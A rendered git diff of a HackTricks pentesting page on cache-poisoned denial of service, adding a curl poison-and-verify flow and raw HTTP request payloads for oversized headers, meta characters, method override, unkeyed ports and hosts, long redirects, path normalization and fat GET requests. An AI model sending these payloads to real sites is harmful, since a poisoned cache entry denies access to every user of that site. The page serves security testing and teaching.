|
3 | 3 | {{#include ../../banners/hacktricks-training.md}} |
4 | 4 |
|
5 | 5 | > [!CAUTION] |
6 | | -> In this page you can find different variations to try to make the **web server respond with errors** to requests that are **valid for the cache servers** |
| 6 | +> These techniques try to make the **origin return an error, a blank body, or a broken redirect** for a request that the **cache still considers valid/cacheable**. Once stored, the poisoned object can deny access to every user hitting the same cache key. |
7 | 7 |
|
8 | | -- **HTTP Header Oversize (HHO)** |
| 8 | +> [!TIP] |
| 9 | +> Confirm CPDoS with the **lowest blast radius possible**: send a **baseline** request, then the **poisoning** request, and finally a **validation** request without the malicious input. Compare **status**, **body length**, and cache headers such as **`X-Cache`**, **`CF-Cache-Status`**, **`Cache-Status`**, or **`Age`**. If possible, use a sacrificial endpoint or an unkeyed cache buster first. |
9 | 10 |
|
10 | | -Send a request with a header size larger than the one supported by the web server but smaller than the one supported by the cache server. The web server will respond with a 400 response which might be cached: |
| 11 | +If the issue depends on **path confusion**, **static extensions/directories**, or other URL parser discrepancies, first check [Cache Poisoning via URL discrepancies](cache-poisoning-via-url-discrepancies.md). |
11 | 12 |
|
12 | | -``` |
13 | | -GET / HTTP/1.1 |
14 | | -Host: redacted.com |
15 | | -X-Oversize-Hedear:Big-Value-000000000000000 |
16 | | -``` |
| 13 | +## Quick verification flow |
17 | 14 |
|
18 | | -- **HTTP Meta Character (HMC) & Unexpected values** |
| 15 | +```bash |
| 16 | +url='https://target.tld/app.js' |
19 | 17 |
|
20 | | -Send a header that contain some **harmfull meta characters** such as and . In order the attack to work you must bypass the cache first. |
| 18 | +# 1) Baseline |
| 19 | +curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)' |
21 | 20 |
|
| 21 | +# 2) Poison attempt |
| 22 | +curl -isk -H 'X-HTTP-Method-Override: HEAD' "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)' |
| 23 | + |
| 24 | +# 3) Validation |
| 25 | +curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)' |
22 | 26 | ``` |
| 27 | + |
| 28 | +## Common cache poisoning-to-DoS primitives |
| 29 | + |
| 30 | +### HTTP Header Oversize (HHO) |
| 31 | + |
| 32 | +Send a request with a header block that is **accepted by the cache** but **rejected by the origin**. If the resulting 4xx page is cached, later normal requests will get the cached error. |
| 33 | + |
| 34 | +```http |
23 | 35 | GET / HTTP/1.1 |
24 | 36 | Host: redacted.com |
25 | | -X-Meta-Hedear:Bad Chars\n \r |
| 37 | +X-Oversized-Header: Big-Value-00000000000000000000000000000000000000000000000000 |
26 | 38 | ``` |
27 | 39 |
|
28 | | -A badly configured header could be just `\:` as a header. |
| 40 | +This is especially interesting when the **CDN/header limit is larger than the origin/framework limit**. |
| 41 | + |
| 42 | +### HTTP Meta Character (HMC) & unexpected values |
29 | 43 |
|
30 | | -This could also work if unexpected values are sent, like an unexpected Content-Type: |
| 44 | +Send **control/meta characters** such as **`\0`**, **`\b`**, **`\r`**, or **`\n`**, or malformed values that the cache forwards but the origin refuses. Some origins also error on syntactically valid-but-unexpected values such as a bogus `Content-Type`. |
31 | 45 |
|
| 46 | +```http |
| 47 | +GET / HTTP/1.1 |
| 48 | +Host: redacted.com |
| 49 | +X-Metachar-Header: \0 |
32 | 50 | ``` |
| 51 | + |
| 52 | +```http |
33 | 53 | GET /anas/repos HTTP/2 |
34 | 54 | Host: redacted.com |
35 | 55 | Content-Type: HelloWorld |
36 | 56 | ``` |
37 | 57 |
|
38 | | -- **Unkeyed header** |
| 58 | +A badly configured parser may also fail on values such as `\:`. |
39 | 59 |
|
40 | | -Some websites will return an error status code if they **see some specific headers i**n the request like with the _X-Amz-Website-Location-Redirect: someThing_ header: |
| 60 | +### Unkeyed header that triggers an error |
41 | 61 |
|
42 | | -``` |
| 62 | +Some backends return an error or denial page when they see specific headers, but the cache key doesn't vary on that header. |
| 63 | + |
| 64 | +```http |
43 | 65 | GET /app.js HTTP/2 |
44 | 66 | Host: redacted.com |
45 | 67 | X-Amz-Website-Location-Redirect: someThing |
46 | 68 |
|
47 | 69 | HTTP/2 403 Forbidden |
48 | | -Cache: hit |
| 70 | +X-Cache: hit |
49 | 71 |
|
50 | 72 | Invalid Header |
51 | 73 | ``` |
52 | 74 |
|
53 | | -- **HTTP Method Override Attack (HMO)** |
| 75 | +Also test `Forwarded`, `X-Forwarded-Host`, `X-Forwarded-Port`, and application-specific routing headers when they influence redirects or origin routing. |
54 | 76 |
|
55 | | -If the server supports changing the HTTP method with headers such as `X-HTTP-Method-Override`, `X-HTTP-Method` or `X-Method-Override`. It's possible to request a valid page changing the method so the server doesn't supports it so a bad response gets cached: |
| 77 | +### HTTP Method Override Attack (HMO) |
56 | 78 |
|
57 | | -``` |
58 | | -GET /blogs HTTP/1.1 |
| 79 | +If the application or middleware supports method override headers such as `X-HTTP-Method-Override`, `X-HTTP-Method`, or `X-Method-Override`, you may be able to transform a normal `GET` into an unsupported or body-less method at the origin while the cache still stores the response under the `GET` key. |
| 80 | + |
| 81 | +```http |
| 82 | +GET /app.js HTTP/1.1 |
59 | 83 | Host: redacted.com |
60 | | -HTTP-Method-Override: POST |
| 84 | +X-HTTP-Method-Override: HEAD |
61 | 85 | ``` |
62 | 86 |
|
63 | | -- **Unkeyed Port** |
| 87 | +`HEAD`, `TRACE`, `PUT`, `DELETE`, and `POST` are worth testing. `HEAD` is especially attractive because some stacks reply `200 OK` with `Content-Length: 0`, effectively blanking the asset for everyone. |
64 | 88 |
|
65 | | -If port in the Host header is reflected in the response and not included in the cache key, it's possible to redirect it to an unused port: |
| 89 | +### Unkeyed Port |
66 | 90 |
|
67 | | -``` |
| 91 | +If the port in the `Host` header is reflected in the response but excluded from the cache key, it may be possible to poison a redirect to an unused port: |
| 92 | + |
| 93 | +```http |
68 | 94 | GET /index.html HTTP/1.1 |
69 | 95 | Host: redacted.com:1 |
70 | 96 |
|
71 | 97 | HTTP/1.1 301 Moved Permanently |
72 | 98 | Location: https://redacted.com:1/en/index.html |
73 | | -Cache: miss |
| 99 | +X-Cache: miss |
74 | 100 | ``` |
75 | 101 |
|
76 | | -- **Long Redirect DoS** |
| 102 | +### Long Redirect DoS |
77 | 103 |
|
78 | | -Like in the following example, x is not being cached, so an attacker could abuse the redirect response behaviour to make the redirect send a URL so big that it returns an error. Then, people trying to access the URL without the uncached x key will get the error response: |
| 104 | +If an unkeyed parameter is copied into a redirect target, you may be able to make the cache store a redirect that later resolves into `414 URI Too Large`, `431 Request Header Fields Too Large`, or another error on the follow-up request. |
79 | 105 |
|
80 | | -``` |
| 106 | +```http |
81 | 107 | GET /login?x=veryLongUrl HTTP/1.1 |
82 | 108 | Host: www.cloudflare.com |
83 | 109 |
|
84 | 110 | HTTP/1.1 301 Moved Permanently |
85 | 111 | Location: /login/?x=veryLongUrl |
86 | | -Cache: hit |
| 112 | +CF-Cache-Status: HIT |
87 | 113 |
|
88 | 114 | GET /login/?x=veryLongUrl HTTP/1.1 |
89 | 115 | Host: www.cloudflare.com |
90 | 116 |
|
91 | 117 | HTTP/1.1 414 Request-URI Too Large |
92 | | -CF-Cache-Status: miss |
| 118 | +CF-Cache-Status: MISS |
93 | 119 | ``` |
94 | 120 |
|
95 | | -- **Host header case normalization** |
| 121 | +### Host header case normalization |
96 | 122 |
|
97 | | -The host header should be case insensitive but some websites expect it to be lowercase returning an error if it's not: |
| 123 | +The `Host` header is case-insensitive, but some origins or routing layers still behave differently depending on casing. If the cache normalizes the host for the key while the origin uses the raw value, a mixed-case `Host` can poison the canonical cache bucket: |
98 | 124 |
|
99 | | -``` |
| 125 | +```http |
100 | 126 | GET /img.png HTTP/1.1 |
101 | 127 | Host: Cdn.redacted.com |
102 | 128 |
|
103 | 129 | HTTP/1.1 404 Not Found |
104 | | -Cache:miss |
| 130 | +X-Cache: miss |
105 | 131 |
|
106 | 132 | Not Found |
107 | 133 | ``` |
108 | 134 |
|
109 | | -- **Path normalization** |
| 135 | +### Path normalization / static-rule confusion |
110 | 136 |
|
111 | | -Some pages will return error codes sending data URLencode in the path, however, the cache server with URLdecode the path and store the response for the URLdecoded path: |
| 137 | +Some caches normalize or classify the path differently from the origin. A path that looks cacheable to the front-end (`/assets/...`, `.css`, `.js`, dot-segments, encoded dots, delimiters) may map to a dynamic route on the origin that returns an error or blank response. If the static-looking key is cached, the dynamic endpoint becomes unavailable through that cache key. |
112 | 138 |
|
113 | | -``` |
| 139 | +```http |
114 | 140 | GET /api/v1%2e1/user HTTP/1.1 |
115 | 141 | Host: redacted.com |
116 | 142 |
|
117 | | -
|
118 | 143 | HTTP/1.1 404 Not Found |
119 | | -Cach:miss |
| 144 | +X-Cache: miss |
120 | 145 |
|
121 | 146 | Not Found |
122 | 147 | ``` |
123 | 148 |
|
124 | | -- **Fat Get** |
| 149 | +For delimiter/static-extension/static-directory tricks, see [Cache Poisoning via URL discrepancies](cache-poisoning-via-url-discrepancies.md). |
125 | 150 |
|
126 | | -Some cache servers, like Cloudflare, or web servers, stops GET requests with a body, so this could be abused to cache a invalid response: |
| 151 | +### Fat GET |
127 | 152 |
|
128 | | -``` |
| 153 | +Some caches/origins reject **`GET` with a body**, or the origin reads parameters from the body while the cache keys only on the URL. This can poison an error or unexpected response under the clean `GET` cache key. |
| 154 | + |
| 155 | +```http |
129 | 156 | GET /index.html HTTP/2 |
130 | 157 | Host: redacted.com |
131 | 158 | Content-Length: 3 |
132 | 159 |
|
133 | 160 | xyz |
134 | 161 |
|
135 | | -
|
136 | 162 | HTTP/2 403 Forbidden |
137 | | -Cache: hit |
| 163 | +X-Cache: hit |
138 | 164 | ``` |
139 | 165 |
|
140 | | -## References |
| 166 | +### Framework / internal cache poisoning |
141 | 167 |
|
142 | | -- [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52) |
143 | | -- [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------) |
| 168 | +Recent framework bugs showed that **CPDoS is not limited to classic 4xx/5xx cache poisoning at the CDN layer**. Internal framework caches or upstream CDNs may also store: |
144 | 169 |
|
145 | | -{{#include ../../banners/hacktricks-training.md}} |
| 170 | +- a **`204 No Content`** response for a normally populated static/ISR page |
| 171 | +- a **`200 OK`** response with **`Content-Length: 0`** |
| 172 | +- a response that was supposed to stay **`private, no-store`** but is coerced into **`s-maxage`** / **`stale-while-revalidate`** |
146 | 173 |
|
| 174 | +In practice, this means a single crafted request can blank an HTML page or JS asset without needing a traditional error page. When testing modern frameworks, compare the same endpoint with and without framework-specific cache/data headers and watch for changes in **`Cache-Control`**, **body length**, and shared-cache headers. If you are assessing a Next.js target, also check [the Next.js page](../../network-services-pentesting/pentesting-web/nextjs.md) for framework-specific cache poisoning bugs. |
147 | 175 |
|
| 176 | +## References |
148 | 177 |
|
| 178 | +- [Responsible denial of service with web cache poisoning](https://portswigger.net/research/responsible-denial-of-service-with-web-cache-poisoning) |
| 179 | +- [Next.JS vulnerability can lead to DoS via cache poisoning](https://github.com/advisories/GHSA-67rr-84xm-4c7r) |
| 180 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments